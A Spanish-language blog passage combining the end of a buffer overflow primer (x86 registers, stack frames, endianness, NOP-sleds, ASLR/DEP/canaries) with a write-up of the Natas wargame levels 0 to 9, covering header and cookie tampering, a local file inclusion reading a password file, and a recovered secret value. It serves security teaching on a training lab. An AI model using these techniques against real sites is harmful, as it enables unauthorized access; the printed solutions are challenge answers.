datos en la stack (en el segmento SS). EDI Extended Destination Index Puntero a datos (o destino) en el segmento señalado por el registro ES.Puntero de destino para operaciones de cadena. ESI Extended Source Index Puntero a los datos en el segmento señalado por el registro DS.Puntero de origen para operaciones de cadena. ESP Extended Stack Pointer Apunta la parte superior del stack.Puntero de stack (en el segmento SS). La tabla anterior muestra los registros para una arquitectura de 32 bits, pero estos pueden ser representados en las arquitecturas de 8 bits y 16 bits. En 8 bits se define la memoria superior (los 8 bits superiores, representados por una H) y la memoria inferior (los 8 bits inferiores, representados por una L). En 16 bits, estos dos se unen y se utiliza una X. Cuando vemos los registros de 32 bits, a estos se le agrega una E, y en 64 bits esta es reemplazada por una R: Registros de Segmentos Son registros de 16 bits que identifican un segmento en la memoria. Para acceder a un segmento particular en la memoria, el registro de segmento para esa unidad debe estar presente en el registro apropiado. El uso de estos dependen del tipo de modelo de administración de la memoria del sistema operativo o el que lo ejecuta. Cada registro de segmento está asociado a uno de los siguientes tipos de almacenamiento: código, datos, stack. Registro CS: contiene la dirección de segmento para el segmento de código, donde, se almacenan las instrucciones que se ejecutan. Registro DS: permite un acceso eficiente y seguro a diferentes tipos de estructuras de datos. Registro SS: contiene la dirección del segmento SS, donde el stack de procedimientos se almacena para el programa, tarea o controlador que se está ejecutando actualmente. Todas las operaciones del stack utilizan el registro SS para encontrar el segmento del stack. Registro ES: registro adicional para almacenar datos. Registro FS: registro adicional para almacenar datos. Registro GS: registro adicional para almacenar datos. Registros de estados EFlags Estos registros de 32 bits almacenan varios indicadores de estado, uno de control y un grupo del sistema. Cabe destacar, que para procesadores de 16 bits, estos se llaman Flags, para 32 bits EFlags, y para 64 bits RFlags. Los Flags de estado indican los resultados de las instrucciones aritméticas: CF: bit 0, este flag indica una condición de overflow para la aritmética de enteros sin signo. También se usa en aritmética de precisión múltiple. PF: bit 2, se establece si el byte menos significativo del resultado contiene un número par de 1 bits. AF: bit 4, se establece si una operación aritmética genera un acarreo o un préstamo del bit 3 del resultado. Este indicador se utiliza en aritmética decimal codificada en binario (BCD). ZF: bit 6, se establece si el resultado es cero. SF: bit 7, se establece igual al bit más significativo del resultado, que es el bit de signo de un entero con signo. (0 indica un valor positivo y 1 indica un valor negativo). OF: bit 11, se establece si el resultado entero es un número positivo demasiado grande o un número negativo demasiado pequeño (excluyendo el bit de signo) para caber en el operando de destino. Este indicador especifica una condición de overflow para la aritmética de entero con signo. El flag de control (DF - Direction flag, bit 10) controla las instrucciones en cadena. Si este se encuentra activado, las instrucciones en cadena disminuyen automáticamente. Y por último, se tienen los flags de sistema y el campo IOPL. Estos registran el control del sistema operativo o las operaciones ejecutadas (estos no deben ser modificados por las aplicaciones): TF: bit 8, configurado para habilitar el modo de un solo paso para el debugging. IF: bit 9, configurado para responder a interrupciones enmascaradas. IOPL: bit 12 y 13, indica el nivel de privilegio de entrada/salida del programa o tarea actualmente en ejecución. NT: bit 14, controla el encadenamiento de tareas interrumpidas y llamadas. Se establece cuando la tarea actual está vinculada a la tarea ejecutada previamente. RF: bit 16, controla la respuesta del procesador a las excepciones de debug. VM: bit 17, se establece para habilitar el modo virtual-8086. AC: bit 18, si el bit AM se establece en el registro CR0, la comprobación de alineación de los accesos de datos en modo de usuario se habilita si y sólo si este flag es 1. Si se establece el bit SMAP en el registro CR4, se permite el acceso explícito de datos en modo supervisor a las páginas en modo usuario si y sólo si este bit es 1. VIF: bit 19, imagen virtual del flag IF. Se usa junto con el flag VIP. VIP: bit 20, se establece para indicar que hay una interrupción pendiente. Se usa junto con el flag VIF. ID: bit 21, la capacidad de un programa para establecer o borrar este flag indica la compatibilidad con la instrucción CPUID. Registro EIP El registro EIP (puntero de instrucción) contiene el desplazamiento (offset) en el segmento de código actual para que se ejecute la siguiente instrucción. Se avanza del límite de instrucciones al siguiente segmento del código en línea recta o se mueve hacia adelante o hacia atrás mediante una serie de instrucciones ( JMP, Jcc, CALL, RET e IRET). El software no puede acceder directamente al registro EIP, este se controla implícitamente mediante instrucciones de transferencia de control (como JMP, Jcc, CALL y RET), interrupciones y excepciones. La única forma de leer el registro EIP es ejecutar una instrucción CALL y luego leer el valor del puntero de instrucción de retorno del stack. El registro EIP se puede cargar indirectamente modificando el valor de un puntero de instrucción de retorno en el stack y ejecutando una instrucción de retorno (RET o IRET). Proceso de la memoria La memoria del procesador se encuentra dividida en 4 regiones: Text: también es conocida como instrucción de segmento. Es definido por el programa, y contiene el código de este (instrucciones). Esta región es marcada como read-only. Data: esta región se encuentra dividida en dos: datos inicializados y datos no inicializados. Datos inicializados: incluye items como variables globales y estáticas declaradas que fueron predefinidas y pueden ser modificadas. Datos no inicializados: también conocido como BSS (Block Started by Symbol); además, comienza las variables que se inicializan a cero o que no tienen una inicialización explícita (por ejemplo, static int t). Heap: este inicia después del segmento BSS. Esta porción de memoria es usada cuando se necesita más espacio por parte del programa, como por ejemplo, llamadas de sistema brk y sbrk, usados por malloc, realloc y free. Se asigna/revoca de forma manual. Stack: es el bloque de memoria LIFO (Last-in First-out). Se encuentra en la parte alta de la memoria, y es donde se almacenan las variables cuando se encuentra en ejecución una función de un programa. Stack Es una matriz contigua de ubicaciones de memoria. Está contenido en un segmento e identificado por el selector de segmento en el registro SS. La siguiente imagen, muestra una representación del stack: Es necesario tener en cuenta que dentro de las principales diferencias que posee el stack con el heap, es que el stack crece hacia la dirección de memoria más baja, mientras que heap lo hace hacia la dirección de memoria más alta: Como se comentó antes, el stack es una estructura LIFO, donde las operaciones fundamentales son PUSH y POP. PUSH: agrega elementos a la parte superior del stack. En una arquitectura de 32 bits va disminuyendo de 4 bytes, mientras agrega elementos al stack (en 64 bits, la dirección de la memoria va disminuyendo en 8 bytes). POP: retira el último elementos del stack. Realiza lo contrario a PUSH, en vez de disminuir la dirección del stack, lo va aumentando. NOTA: cada vez que se usa PUSH y POP, el registro ESP es modificado, apuntando a la parte superior del stack. Stack Frames Los stack frames son porciones o áreas del stack que son agregadas (usando un PUSH), cuando llaman una función, o retiradas (con un POP) cuando se retorna un valor. Por lo tanto, cuando una subrutina o un procedimiento es iniciado, un stack frame es creado asignándole el ESP (puntero stack) actual. Cuando la subrutina/procedimiento finaliza, el EIP (puntero de instrucción) es restablecido a la dirección de la llamada inicial. A continuación, dejo un ejemplo de stack frame del siguiente código: int a() { return 0; } int main() { a(); return 0; } Prólogo y Epílogo Las funciones que podemos encontrar cuando se agregan o retiran elementos del stack son: Prólogo: prepara el stack para ser usado. Este ocurre para cada función, y cuando la función que es llamada toma el control, ejecuta las siguientes instrucciones: push ebp ; guarda el valor del antiguo EBP en el stack mov ebp, esp ; copia el valor de ESP en el puntero EBP, creando un nuevo stack frame sub esp, X ; resta X del stack pointer (ESP), haciendo espacio para variables locales Epílogo: retorna el control al que realiza la llamada de la función anterior. Reemplaza el ESP con el EBP actual. Restaura su valor antes del prólogo mediante un POP del EBP desde el stack. Regresa al que llama haciendo un POP del EIP (almacenada en el stack) y luego salta a ella. Ejemplos de epílogo: leave ret o: mov esp, ebp pop ebp ret Ejemplo del stack frame con prólogo y epílogo: void function1(int l, int m) { int x = 21; int y = 22; } int main(int argc, char *argv[]) { int a = 1; int b = 2; funtion1(11, 12); return 0; } Paso 1: Lo primero que sucede en al iniciar este programa, es que los parámetros de la función main (argc y argv) son agregados al stack (de izquierda a derecha): Paso 2: Luego se llama la función main y la CPU realiza un PUSH del contenido del EIP en el stack, y señala el primer byte después de la instrucción CALL (se necesita saber la dirección de la próxima instrucción para poder proceder cuando regresemos de la función llamada). Paso 3: El que llama (en este caso el sistema operativo) pierde el control, y el que es llamado (función main) toma el control: Paso 4: Como estamos en la función main, se crea un nuevo stack frame, el cual, es definido por el EBP y el ESP; almacenando el EBP actual en el stack, con el fin de poder saber que estamos volviendo a la función que llamó a main. Cuando el valor del EBP es almacenado, este es actualizado, y ahora apunta a la parte superior del stack: Este paso corresponde al prólogo, el cual, crea espacio suficiente en el stack, donde, se pueden copiar las variables locales: Paso 5: Cuando el prólogo termina, se completa el stack frame de main, y las variables locales son copiadas en el stack. Ahora se tiene que definir el valor del ESP, el cual, indica la parte superior del stack. Esto se logra con la siguiente instrucción: mov DWORD PTR [esp+Y],0x1 La instrucción anterior mueve el valor 0x1 (el valor de la variable de a) a la ubicación de la dirección de memoria apuntada a ESP+Y. ESP+Y apunta a una dirección de memoria entre EBP y ESP. Es necesario tener en cuenta que esto se realiza para cada variable: Paso 6: En este punto, main comienza con el llamado a la función function1, realizando lo siguiente: Realiza un PUSH de los parámetros de la función en el stack. Llama a function1. Ejecuta el prólogo (lo que actualizará el EBP y ESP para crear un nuevo stack frame). Asignará las variables locales en el stack. Paso 7: Ahora que la función function1 se ha ejecutado por completo, se realiza un retorno al stack frame anterior mediante el epílogo. NOTA: cabe destacar, que aunque no tenga un return en el código, cuando el programa deja una subrutina, seguirá ejecutando el epílogo. Lo primero que hace el epílogo es mover EBP en ESP (mov esp, ebp), dejando a los dos apuntando a la misma dirección. Luego realiza un POP del EBP (pop ebp), dejando el valor de EBP en la parte superior del stack. Dado que la parte superior del stack apunta a la ubicación de la dirección de memoria donde se almacena el antiguo EBP (el EBP que llama), se restaura el stack frame del que hace la llamada. NOTA: recordar que la instrucción POP actualiza el valor del ESP. Ahora el ESP apunta al EIP almacenado anteriormente. Y la última instrucción que ejecuta el epílogo es el RET. La instrucción RET muestra el valor contenido en la parte superior del stack en el EIP anterior, y salta a dicha dirección de memoria devolviendo el control del que llama a la función. Esto se repite hasta que finaliza la ejecución del programa. Endianness Los endianness son una representación o almacenamiento de valores en memoria. Existen 3 tipos de endianness, los cuales son: Big-Endian Little-Endian Mixed-Endian En este post solo se explicaran big-endian y little-endian, debido que mixed-endian rara vez es utilizado. El saber sobre endianness ayudará al momento de escribir un payload para explotar un Buffer Overflow. La representación de big-endian el LSB es almacenado en la dirección de memoria mayor. Mientras que, el MSB es almacenado en la dirección de memoria más baja. En el siguiente ejemplo se tiene el valor hexadecimal 0x12345678, teniendo en cuenta que +0 apunta a la dirección más alta y +3 apunta a la dirección más baja: Dirección en memoria Valor del byte +0 0x12 +1 0x34 +2 0x56 +3 0x78 En little-endian es lo contrario, el LSB es almacenado en la dirección de memoria más baja, mientras que, el MSB es almacenado en la dirección de memoria más alta. En el siguiente ejemplo se tiene el valor hexadecimal 0x12345678, teniendo en cuenta que +0 apunta a la dirección más alta y +3 apunta a la dirección más baja: Dirección en memoria Valor del byte +0 0x78 +1 0x56 +2 0x34 +3 0x12 Por lo tanto, si ahora tenemos el valor 11 decimal (en hexadecimal es 0B), la notación en little-endian sería: Dirección en memoria Valor del byte +0 0x0B +1 0x00 +2 0x00 +3 0x00 Esto si lo vemos en un debugger, se representaría de la siguiente forma: MSB En binario, el bit más significativo es el valor más grande, leído de izquierda a derecha. Por lo tanto, si tenemos el binario 100, el MSB es 1. LSB En binario, el bit menos significativo es el valor más bajo, leído de derecha a izquierda. Por lo tanto, si tenemos el binario 110, el LSB es 0. NOPs Dentro de los tópicos importantes y que se deben saber como base al momento de realizar un Buffer Overflow son las instrucciones NOP (No Operation). Este corresponde a una instrucción en assembly que indica hacer nada. Esto significa que cuando el programa encuentra un NOP al momento de su ejecución, este simplemente lo omite y saltará a la siguiente instrucción. En arquitectura de procesadores x86, estas instrucciones son representadas por el valor hexadecimal 0x90. La razón de ver los NOPs es que, al momento de realizar un ataque de Buffer Overflow, este debe coincidir con el tamaño y la ubicación específica que el programa espera. Para lograr esto, es que se utiliza la técnica NOP-sled, el cual, nos permite llenar una porción del stack con NOP, permitiéndonos llegar a la instrucción que deseamos ejecutar. Protecciones A lo largo de los años, se han desarrollado múltiples implementaciones de seguridad para prevenir la explotación de vulnerabilidades de Buffer Overflow: ASLR (Address Space Layout Randomization) DEP (Data Execution Prevention) Canary (Stack Cookies) ASLR Esta protección introduce la aleatoriedad para los ejecutables, bibliotecas y stacks en el espacio de direcciones de la memoria, esto significa que, cuando se ejecuta múltiples veces el mismo programa, cada vez es ubicado en diferentes direcciones de memoria. El problema de ASLR es que no se habilita para todos los módulos, por lo tanto, cuando un proceso tiene ASLR habilitado, puede que un DLL en el espacio de direcciones no tenga esta protección, y así podría realizarse un bypass de este. Para poder validar si un programa utiliza ASLR (u otra protección), se puede utilizar el programa de Microsoft Process Explorer. Para poder ver esta columna, debemos hacer clic derecho en el nombre de una de las columnas y hacer clic en Select Columns…: Luego seleccionamos la columna que deseamos ver, que en este caso es ASLR Enabled: Y con esto podemos ver si este se encuentra habilitado o no: Además de esto, Microsoft posee la herramienta EMET (Enhanced Mitigation Experience Toolkit), que ayuda a solventar problemas de explotación, brindando a los usuarios la habilidad de desarrollar tecnología de mitigación de seguridad en todas las aplicaciones. DEP Es una medida defensiva para hardware y software que previene la ejecución de código de zonas en la memoria que no están explícitamente marcadas como ejecutables. Canary También conocida como Stack Cookie. Es una implementación de seguridad que coloca un valor al lado de la dirección de retorno en el stack. El prólogo de la función carga un valor en esta ubicación, mientras que el epílogo se asegura de que el valor esté intacto. Como resultado, cuando se ejecuta el epílogo, comprueba que el valor todavía está allí y que es correcto.Writeup - Wargame Natas - Parte 12020-05-27T11:58:47-04:002020-05-27T11:58:47-04:00http://www.w0lff4ng.org/writeup-wargame-natas-parte-1<p><img src="/assets/img/writeup-wargame-natas-parte-1/natas.jpeg" alt="natas" /></p>
<p>El <a href="https://overthewire.org/wargames/natas/">wargame Natas</a>, es un juego creado por <a href="https://overthewire.org/">OverTheWire</a> en conjunto con <a href="http://www.nessos-project.eu/">NESSoS</a> para enseñar lo básico de la seguridad web orientado desde el lado del servidor.</p>
<p>Cada nivel posee su propia web, los que pueden ser accedidos desde cualquier navegador a la direccion http://natas<strong>X</strong>.natas.labs.overthewire.org, donde la X corresponde al nivel en que nos encontremos.</p>
<p>Para poder acceder a cada nivel debemos ingresar el usuario y password correspondiente, donde el usuario corresponde al nivel (por ejemplo, para el nivel 0 el usuario es <code class="language-plaintext highlighter-rouge">natas0</code>), y la password es la <code class="language-plaintext highlighter-rouge">flag</code> adquirida en el reto anterior. Por lo tanto, debemos resolver el reto del nivel actual para poder obtener la password del siguiente nivel.</p>
<h2 id="solución-natas-0">Solución Natas 0</h2>
<p>En el nivel 0, OverTheWire nos brinda la siguiente información:</p>
<ul>
<li>Usuario: natas0</li>
<li>Password: natas0</li>
<li>URL: <a href="http://natas0.natas.labs.overthewire.org">http://natas0.natas.labs.overthewire.org</a></li>
</ul>
<p>Al ingresar al sitio, lo primero que nos aparece es un pop-up solicitando las credenciales del nivel:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/ingreso-natas0.png" alt="01" /></p>
<p>Ingresamos los datos brindados anteriormente, y vemos el mensaje <em>Puedes encontrar la password del siguiente nivel en esta página</em>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/mensaje-natas0.png" alt="02" /></p>
<p>Si revisamos el código de la página haciendo clic derecho sobre esta, y seleccionado la opción <code class="language-plaintext highlighter-rouge">View Page Source</code> en Firefox:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/c-d-natas0-1.png" alt="03" /></p>
<p>Esto nos abrirá una nueva pestaña, donde veremos el código de la página, la cual, posee un comentario con la password del siguiente nivel:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/s-c-natas0.png" alt="04" /></p>
<h2 id="solución-natas-0--1">Solución Natas 0 > 1</h2>
<p>Para ingresar al nivel 1, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas1</li>
<li>URL: <a href="http://natas1.natas.labs.overthewire.org">http://natas1.natas.labs.overthewire.org</a></li>
</ul>
<p>Al igual que en el reto anterior, debemos ingresar las correspondientes al nivel, que en este caso es para el nivel 1.</p>
<p>El mensaje que se nos muestra es: <em>Puedes encontrar la password del siguiente nivel en esta página, pero el clic derecho se encuentra bloqueado!</em>.</p>
<p>Para poder ver código de la página, podemos usar la combinación de teclas <code class="language-plaintext highlighter-rouge">CTRL+U</code>, lo que nos permite encontrar la password del siguiente reto:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/c-d-natas1.png" alt="05" /></p>
<h2 id="solución-natas-1--2">Solución Natas 1 > 2</h2>
<p>Para ingresar al nivel 2, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas2</li>
<li>URL: <a href="http://natas2.natas.labs.overthewire.org">http://natas2.natas.labs.overthewire.org</a></li>
</ul>
<p>Esta vez, el mensaje que nos muestra es: <em>No hay nada en esta página</em>.</p>
<p>Si volvemos a revisar el código, vemos que se encuentra el enlace a una imagen:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/c-d-natas2.png" alt="06" /></p>
<p>La imagen en este caso no posee información útil:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/imagen-natas2.png" alt="07" /></p>
<p>Pero si ingresamos al directorio donde se encuentra almacenada, encontramos un archivo de texto:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/file-1-natas2.png" alt="08" /></p>
<p>Y al abrir el archivo, vemos que contiene la password del nivel 3:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/file-2-natas2.png" alt="09" /></p>
<h2 id="solución-natas-2--3">Solución Natas 2 > 3</h2>
<p>Para ingresar al nivel 3, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas3</li>
<li>URL: <a href="http://natas3.natas.labs.overthewire.org">http://natas3.natas.labs.overthewire.org</a></li>
</ul>
<p>Al igual que en el reto anterior, nos indican que no se encuentra nada en la página.</p>
<p>Al revisar el código de la página, nos encontramos con el comentario que dice: <em>No más fuga de información, ni siquiera en Google</em>.</p>
<p>Esto nos indica que no hay información indexada en google, y para lograr esto, se utiliza el archivo <a href="http://www.robotstxt.org/robotstxt.html"><code class="language-plaintext highlighter-rouge">robots.txt</code></a>. Este le “enseña” a los motores de búsqueda que información indexar:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/robots-natas3.png" alt="10" /></p>
<p>Ahora revisamos el contenido del directorio <code class="language-plaintext highlighter-rouge">/s3cr3t</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/file-1-natas3.png" alt="11" /></p>
<p>Y vemos el contenido del archivo <code class="language-plaintext highlighter-rouge">users.txt</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/file-2-natas3.png" alt="12" /></p>
<h2 id="solución-natas-3--4">Solución Natas 3 > 4</h2>
<p>Para ingresar al nivel 4, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas4</li>
<li>URL: <a href="http://natas4.natas.labs.overthewire.org">http://natas4.natas.labs.overthewire.org</a></li>
</ul>
<p>El mensaje de este nivel es el siguiente: <em>Acceso no permitido. Está visitando desde “”, mientras que los usuarios autorizados deben proceder únicamente de “<a href="http://natas5.natas.labs.overthewire.org/">http://natas5.natas.labs.overthewire.org/</a>“</em>.</p>
<p>Al hacer clic en <code class="language-plaintext highlighter-rouge">Refresh page</code>, el mensaje cambia automáticamente:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-1-natas4.png" alt="13" /></p>
<p>Si revisamos la comunicación que se genera mediante la opción inspeccionar (<code class="language-plaintext highlighter-rouge">clic derecho > Inspect Element(Q) > Network</code>), vemos que en el encabezado del mensaje <code class="language-plaintext highlighter-rouge">GET</code> que se genera al hacer clic en <code class="language-plaintext highlighter-rouge">Refresh page</code>, se indica el <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">Header</a> <code class="language-plaintext highlighter-rouge">Referer</code>, este especifica la dirección de la página anterior desde la que se accedió a la actual:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/header-1-natas4.png" alt="14" /></p>
<p>Para poder modificar este campo y enviar la información solicitada para obtener la password, usamos un <code class="language-plaintext highlighter-rouge">Interception Proxy</code> (también puede ser mediante algún script). Un <code class="language-plaintext highlighter-rouge">Interception Proxy</code> es una herramienta que permite capturar la comunicación cliente/servidor, analizarla, y poder modificarla. Dentro de estas herramientas, se encuentran: <a href="https://portswigger.net/burp"><code class="language-plaintext highlighter-rouge">Burp Suite</code></a> y <a href="https://owasp.org/www-project-zap/"><code class="language-plaintext highlighter-rouge">ZAP</code></a>.</p>
<p>Para este caso, utilizaré la herramienta <code class="language-plaintext highlighter-rouge">Burp Suite</code> en su versión <code class="language-plaintext highlighter-rouge">Community</code>.</p>
<p>Para usar este proxy, debemos configurar nuestro navegador para que envíe la comunicación hacia esta herramienta. En Firefox, debemos ir a <code class="language-plaintext highlighter-rouge">Preferences > Network Settings</code>, y configurar en <code class="language-plaintext highlighter-rouge">HTTP Proxy</code> la dirección de este y el puerto (por defecto es 8080):</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/proxy-1-natas4.png" alt="15" /></p>
<blockquote>
<p>NOTA: se recomienda <a href="https://portswigger.net/support/installing-burp-suites-ca-certificate-in-your-browser">instalar el certificado</a> de Burp Suite en el navegador.</p>
</blockquote>
<p>Iniciamos Burp con un proyecto temporal, y nos vamos al pestaña <code class="language-plaintext highlighter-rouge">Proxy > Intercept</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/burp-1-natas4.png" alt="16" /></p>
<p>Ahora le damos clic una vez más en <code class="language-plaintext highlighter-rouge">Refresh page</code>, y en Burp nos aparecerá lo siguiente:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/burp-2-natas4.png" alt="17" /></p>
<p>Lo que sucedió, es que Burp interceptó la comunicación enviada por el navegador, y ahora podemos modificar el Header Referer con la información especificada en el reto. Una vez modificado el encabezado, le damos clic en <code class="language-plaintext highlighter-rouge">Forward</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/burp-3-natas4.png" alt="18" /></p>
<p>Y al enviar el mensaje modificado, vemos que en nuestro navegador aparece la password para natas5:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/password-natas4.png" alt="19" /></p>
<h2 id="solución-natas-4--5">Solución Natas 4 > 5</h2>
<p>Para ingresar al nivel 5, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas5</li>
<li>URL: <a href="http://natas5.natas.labs.overthewire.org">http://natas5.natas.labs.overthewire.org</a></li>
</ul>
<p>Al ingresar al nivel 5, vemos el mensaje <em>Acceso deshabilitado, No estás logueado</em>.</p>
<p>Si interceptamos el tráfico con Burp, vemos que el <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie"><code class="language-plaintext highlighter-rouge">Header Cookie</code></a> tiene como parámetro <code class="language-plaintext highlighter-rouge">loggedin=0</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/burp-1-natas5.png" alt="20" /></p>
<p>Revisemos qué sucede cuando modificamos este valor, y lo cambiamos por un <code class="language-plaintext highlighter-rouge">1</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/burp-2-natas5-1.png" alt="21" /></p>
<p>Vemos que esto nos brinda la password del siguiente nivel:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/password-natas5.png" alt="22" /></p>
<h2 id="solución-natas-5--6">Solución Natas 5 > 6</h2>
<p>Para ingresar al nivel 6, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas6</li>
<li>URL: <a href="http://natas6.natas.labs.overthewire.org">http://natas6.natas.labs.overthewire.org</a></li>
</ul>
<p>Al ingresar, vemos un campo para hacer consultas, además, de un enlace a un código:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-1-natas6.png" alt="23" /></p>
<p>Si ingresamos un dato cualquiera, este nos muestra el mensaje <em>Wrong secret</em>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-2-natas6.png" alt="24" /></p>
<p>Si revisamos el código del enlace que nos brindan, vemos que es un código <a href="https://www.php.net/"><code class="language-plaintext highlighter-rouge">PHP</code></a>, el que valida lo que ingresamos en el campo <code class="language-plaintext highlighter-rouge">Input secret</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-3-natas6.png" alt="25" /></p>
<p>Lo que hace es validar si lo que enviamos mediante el <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST"><code class="language-plaintext highlighter-rouge">método POST</code></a> es igual a lo que tiene asignado en la variable <code class="language-plaintext highlighter-rouge">$secret</code>, nos mostrará la password de natas7.</p>
<p>Además, vemos que se está <a href="https://www.php.net/manual/en/function.include.php">incluyendo</a> el archivo <code class="language-plaintext highlighter-rouge">includes/secret.inc</code>. Por lo tanto, intentamos ver que tiene:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-4-natas6.png" alt="26" /></p>
<p>Al revisar, vemos que no tiene nada, pero si vemos su código, nos damos cuenta que encontramos el valor de <code class="language-plaintext highlighter-rouge">$secret</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-5-natas6.png" alt="27" /></p>
<p>Ahora copiamos este valor en el campo de consulta del inicio, y este nos trae de vuelta la password de natas7:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/password-natas6.png" alt="28" /></p>
<h2 id="solución-natas-6--7">Solución Natas 6 > 7</h2>
<p>Para ingresar al nivel 7, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas7</li>
<li>URL: <a href="http://natas7.natas.labs.overthewire.org">http://natas7.natas.labs.overthewire.org</a></li>
</ul>
<p>Al ingresar, vemos que se encuentran dos enlaces, uno al <code class="language-plaintext highlighter-rouge">Home</code> y el otro a <code class="language-plaintext highlighter-rouge">About</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-1-natas7.png" alt="29" /></p>
<p>Al ingresar a cada uno de estos, no se nos presenta información útil:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-2-natas7.png" alt="30" /></p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-3-natas7.png" alt="31" /></p>
<p>Al revisar el código, vemos que tiene un comentario indicando lo siguiente: <em>Pista: la password para el usuario web natas8 está en /etc/natas_webpass/natas8</em>.</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-4-natas7.png" alt="32" /></p>
<p>Esto nos indica que debemos revisar el archivo <code class="language-plaintext highlighter-rouge">natas8</code> que se encuentra en <code class="language-plaintext highlighter-rouge">/etc/natas_webpass/</code>. La pista nos señala que es posible que se encuentre una vulnerabilidad <code class="language-plaintext highlighter-rouge">LFI</code>, lo que nos permitirá ver el contenido de un archivo local en el servidor.</p>
<p>Por lo tanto, intentamos pasarle la ruta del archivo en la variable <code class="language-plaintext highlighter-rouge">page</code>, y vemos que nos trae de vuelta la password para natas8:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/lfi-natas7-1.png" alt="33" /></p>
<h2 id="solución-natas-7--8">Solución Natas 7 > 8</h2>
<p>Para ingresar al nivel 8, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas8</li>
<li>URL: <a href="http://natas8.natas.labs.overthewire.org">http://natas8.natas.labs.overthewire.org</a></li>
</ul>
<p>Al ingresar, vemos que se presenta un campo para hacer queries y un enlace con un código:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-1-natas8.png" alt="34" /></p>
<p>Si revisamos el código, vemos que este tiene una función llamada <code class="language-plaintext highlighter-rouge">encodeSecret</code> y una variable con el nombre <code class="language-plaintext highlighter-rouge">encodedSecret</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-2-natas8.png" alt="35" /></p>
<p>Si revisamos dicha función, lo que hace es tomar el valor de la variable <code class="language-plaintext highlighter-rouge">secret</code> y la codifica en <a href="https://www.base64encode.org/"><code class="language-plaintext highlighter-rouge">base64</code></a>. Luego, invierte el string que este genera y le aplica la función <code class="language-plaintext highlighter-rouge">bin2hex</code>. Esto da como resultado el valor de <code class="language-plaintext highlighter-rouge">encodedSecret</code>, que es el que nos muestran en el código: <code class="language-plaintext highlighter-rouge">3d3d516343746d4d6d6c315669563362</code>.</p>
<p>Por lo tanto, para saber que enviar en esta query, debemos realizar lo inverso a la función anterior.</p>
<p>Para lograr esto, se creó el siguiente script en PHP. Este muestra el paso a paso de lo que hace cada parte de la función:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/script-natas8.png" alt="36" /></p>
<p>Al ejecutarlo, vemos que nos entrega un valor (<code class="language-plaintext highlighter-rouge">oubWYf2kBq</code>), el cual si lo ingresamos en el navegador, nos brinda la password del siguiente nivel:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/script-2-natas8.png" alt="37" /></p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-3-natas8.png" alt="38" /></p>
<h2 id="solución-natas-8--9">Solución Natas 8 > 9</h2>
<p>Para ingresar al nivel 9, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas9</li>
<li>URL: <a href="http://natas9.natas.labs.overthewire.org">http://natas9.natas.labs.overthewire.org</a></li>
</ul>
<p>En este nivel, nos piden ingresar <em>Encuentra palabras que contengan</em>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-1-natas9.png" alt="39" /></p>
<p>Si revisamos el código presentado en el enlace, este valida si el valor de la variable <code class="language-plaintext highlighter-rouge">key</code> no se encuentra vacía (parámetro que pasamos en la query), y en caso de no estarlo, ejecuta un <a href="https://www.php.net/manual/en/function.passthru.php"><code class="language-plaintext highlighter-rouge">passthru</code></a>. El cual, permite ejecutar un programa externo, que en este caso, es un <code class="language-plaintext highlighter-rouge">grep</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-2-natas9.png" alt="40" /></p>
<p>Por lo tanto, si le pasamos algún dato a esa variable, buscará palabras dentro de un diccionario y mostrará el contenido que tenga lo que le ingresamos. Entonces, si le ingresamos una <code class="language-plaintext highlighter-rouge">a</code>, este nos traerá todo lo que contenga una <code class="language-plaintext highlighter-rouge">a</code>:</p>
